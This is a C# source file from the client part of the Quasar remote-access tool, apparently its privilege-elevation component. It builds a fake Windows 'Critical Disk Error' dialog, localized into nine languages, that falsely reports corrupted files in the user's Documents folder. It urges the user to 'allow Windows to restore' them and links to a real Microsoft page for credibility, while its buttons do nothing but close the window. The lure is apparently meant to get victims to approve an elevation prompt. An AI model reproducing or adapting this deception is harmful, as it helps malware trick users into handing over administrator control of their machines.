mirror of https://github.com/quasar/Quasar.git
154 lines
9.6 KiB
C#
154 lines
9.6 KiB
C#
using System;
|
||
using System.Drawing;
|
||
using System.Windows.Forms;
|
||
|
||
namespace xClient.Core.Elevation
|
||
{
|
||
public partial class FrmElevation : Form
|
||
{
|
||
public FrmElevation()
|
||
{
|
||
InitializeComponent();
|
||
|
||
picError.Image = SystemIcons.Error.ToBitmap();
|
||
SetLanguage();
|
||
}
|
||
|
||
private void FrmElevation_Paint(object sender, PaintEventArgs e)
|
||
{
|
||
e.Graphics.DrawLine(Pens.Gray, new Point(0, panelBot.Location.Y - 1),
|
||
new Point(this.Width, panelBot.Location.Y - 1));
|
||
}
|
||
|
||
private void SetLanguage()
|
||
{
|
||
string CountryCode = System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
|
||
//string CountryCode = "ES";
|
||
switch (CountryCode)
|
||
{
|
||
case "PL": // by navaro21
|
||
this.Text = "Krytyczny błąd dysku";
|
||
lblHead.Text = "Plik lub lokalizacja została uszkodzona i jest niezdolna do odczytu.";
|
||
lblText.Text =
|
||
"Zostało znalezionych wiele uszkodzonych plików w lokalizacji 'Moje Dokumenty'. Aby\nzapobiec poważnej utraty danych pozwól systemowi Windows odzyskać te pliki.\n\n" +
|
||
"Uszkodzona lokalizacja: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
|
||
"\n" +
|
||
"Liczba uszkodzonych plików: 4";
|
||
btnRestore.Text = "Odzyskaj pliki";
|
||
btnRestoreAndCheck.Text = "Odzyskaj pliki i sprawdź dysk w poszukiwaniu błędów.";
|
||
linkError.Text = "Więcej szczegółów o tym błędzie";
|
||
break;
|
||
case "RU": // by GameFire
|
||
this.Text = "Критическая ошибка диска";
|
||
lblHead.Text = "Этот файл или каталог поврежден и нечитаемый";
|
||
lblText.Text =
|
||
"Несколько поврежденные файлы были найдены в каталоге 'Мои документы'. Для\nтогочтобы предотвратить потерю данных, пожалуйста позвольте Windows\nвосстановить эти файлы.\n\n" +
|
||
"Поврежденный каталог: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
|
||
"\n" +
|
||
"Количество поврежденных файлов: 4";
|
||
btnRestore.Text = "Восстановление файлов";
|
||
btnRestoreAndCheck.Text = "Восстановить файлы и проверять диск для ошибок";
|
||
linkError.Text = "Подробнее об этой ошибке";
|
||
break;
|
||
case "FI": // by Perfectionist & Qmz_
|
||
this.Text = "Kriittinen levyvirhe";
|
||
lblHead.Text = "Tiedosto tai hakemisto on vioittunut ja lukukelvoton";
|
||
lblText.Text =
|
||
"Useita vioittuineita tiedostoja on löytynyt kansiosta 'Omat tiedostot'. Ehkäistäksesi\nvakavan tietojen menetyksen, salli Windowsin palauttaa nämä tiedostot.\n\n" +
|
||
"Vioittunut kansio: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||
"Korruptoituneiden tiedostojen määrä: 4";
|
||
btnRestore.Text = "Palauta tiedostot";
|
||
btnRestoreAndCheck.Text = "Palauta tiedostot ja aloita virheiden etsiminen";
|
||
linkError.Text = "Lisätietoja virheestä";
|
||
break;
|
||
case "NL": // by DeadLine
|
||
this.Text = "Kritieke schrijffout";
|
||
lblHead.Text = "Het bestand of pad is corrupt of onleesbaar";
|
||
lblText.Text =
|
||
"Meerdere corrupte bestanden zijn gevonden in het pad 'Mijn Documenten'. Gelieve de\nbestanden door Windows te laten herstellen om dataverlies te voorkomen.\n\n" +
|
||
"Corrupt pad: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||
"Aantal corrupte bestanden: 4";
|
||
btnRestore.Text = "Herstel bestanden";
|
||
btnRestoreAndCheck.Text = "Herstel bestanden en controleer op schijffouten";
|
||
linkError.Text = "Meer informatie over deze fout";
|
||
break;
|
||
case "FR": // by Increment
|
||
this.Text = "Erreur Critique du Disque ";
|
||
lblHead.Text = "Le fichier ou le dossier spécifié est corrompu";
|
||
lblText.Text =
|
||
"De nombreux fichiers corrompus ont été trouvés dans le dossier 'Mes Documents'. Pour\néviter toute perte de donnée, veuillez autoriser Windows à restaurer vos fichiers et\ndonnées.\n\n" +
|
||
"Dossier corrompu : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||
"Nombre de fichier(s) corrompu(s) : 4";
|
||
btnRestore.Text = "Restaurer les fichiers";
|
||
btnRestoreAndCheck.Text = "Restaurer les fichiers et vérifier des érreurs sur le disque ";
|
||
linkError.Text = "En savoir plus à propos de cette erreurs";
|
||
break;
|
||
case "ES": // by Xenocode
|
||
this.Text = "Error critico del disco duro";
|
||
lblHead.Text = "El archivo o directorio está dañado y no se puede leer";
|
||
lblText.Text =
|
||
"Algunos archivos dañados múltiples han sido encontrados en el directorio 'Mis Documentos'.\nPara prevenir la pérdida grave de datos, permita por favor de Windows para recuperar\nestos archivos.\n\n" +
|
||
"Directorio dañado : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" +
|
||
"Archivos corrupots : 4";
|
||
btnRestore.Text = "Recuperar archivos";
|
||
btnRestoreAndCheck.Text = "Reparar archivos y comprobar si hay errores en el disco dur";
|
||
linkError.Text = "Detalles de Errores";
|
||
break;
|
||
case "DE":
|
||
this.Text = "Kritischer Festplatten Fehler";
|
||
lblHead.Text = "Die Datei oder das Verzeichnis ist beschädigt und nicht lesbar";
|
||
lblText.Text =
|
||
"Es wurden mehrere beschädigte Dateien in dem Verzeichnis 'Meine Dokumente' gefunden.\nUm einen ernsthaften Datenverlust zu vermeiden, erlauben Sie bitte Windows, die Dateien\nwiederherzustellen.\n\n" +
|
||
"Beschädigtes Verzeichnis: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
|
||
"\n" +
|
||
"Anzahl der beschädigten Dateien: 4";
|
||
btnRestore.Text = "Dateien wiederherstellen";
|
||
btnRestoreAndCheck.Text = "Dateien wiederherstellen und Festplatte auf Fehler überprüfen";
|
||
linkError.Text = "Mehr Informationen zu diesem Fehler";
|
||
break;
|
||
case "AR": // By : DragonzMaster
|
||
this.Text = "خطأ حرج بالقرص";
|
||
lblHead.Text = "الملف او المجلد معطوب ولا يمكن قرائته";
|
||
lblText.Text =
|
||
"تم إيجاد عدة ملفات معطوبة بالمجلد 'مستنداتى'. لمنع\nخسائر كبيرة بالبيانات, من فضلك إسمح لنظام التشغيل بإستعادة هذه الملفات.\n\n" +
|
||
"المجلد المعطوب: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
|
||
"\n" +
|
||
"عدد الملفات المعطوبة: 4";
|
||
btnRestore.Text = "إستعادة الملفات";
|
||
btnRestoreAndCheck.Text = "إستعادة الملفات و فحص القرص من الأخطاء";
|
||
linkError.Text = "لتفاصيل أكثر حول هذا الخطأ";
|
||
this.RightToLeft = RightToLeft.Yes;
|
||
break;
|
||
default: // this includes GB, US and all other
|
||
this.Text = "Critical Disk Error";
|
||
lblHead.Text = "The file or directory is corrupted and unreadable";
|
||
lblText.Text =
|
||
"Multiple corrupted files have been found in the directory 'My Documents'. To prevent\nserious loss of data, please allow Windows to restore these files.\n\n" +
|
||
"Corrupted directory: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) +
|
||
"\n" +
|
||
"Corrupted files count: 4";
|
||
btnRestore.Text = "Restore files";
|
||
btnRestoreAndCheck.Text = "Restore files and check disk for errors";
|
||
linkError.Text = "More details about this error";
|
||
break;
|
||
}
|
||
}
|
||
|
||
private void btnRestore_Click(object sender, EventArgs e)
|
||
{
|
||
this.Close();
|
||
}
|
||
|
||
private void btnRestoreAndCheck_Click(object sender, EventArgs e)
|
||
{
|
||
this.Close();
|
||
}
|
||
|
||
private void linkError_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
|
||
{
|
||
System.Diagnostics.Process.Start(
|
||
"http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx");
|
||
}
|
||
}
|
||
}
|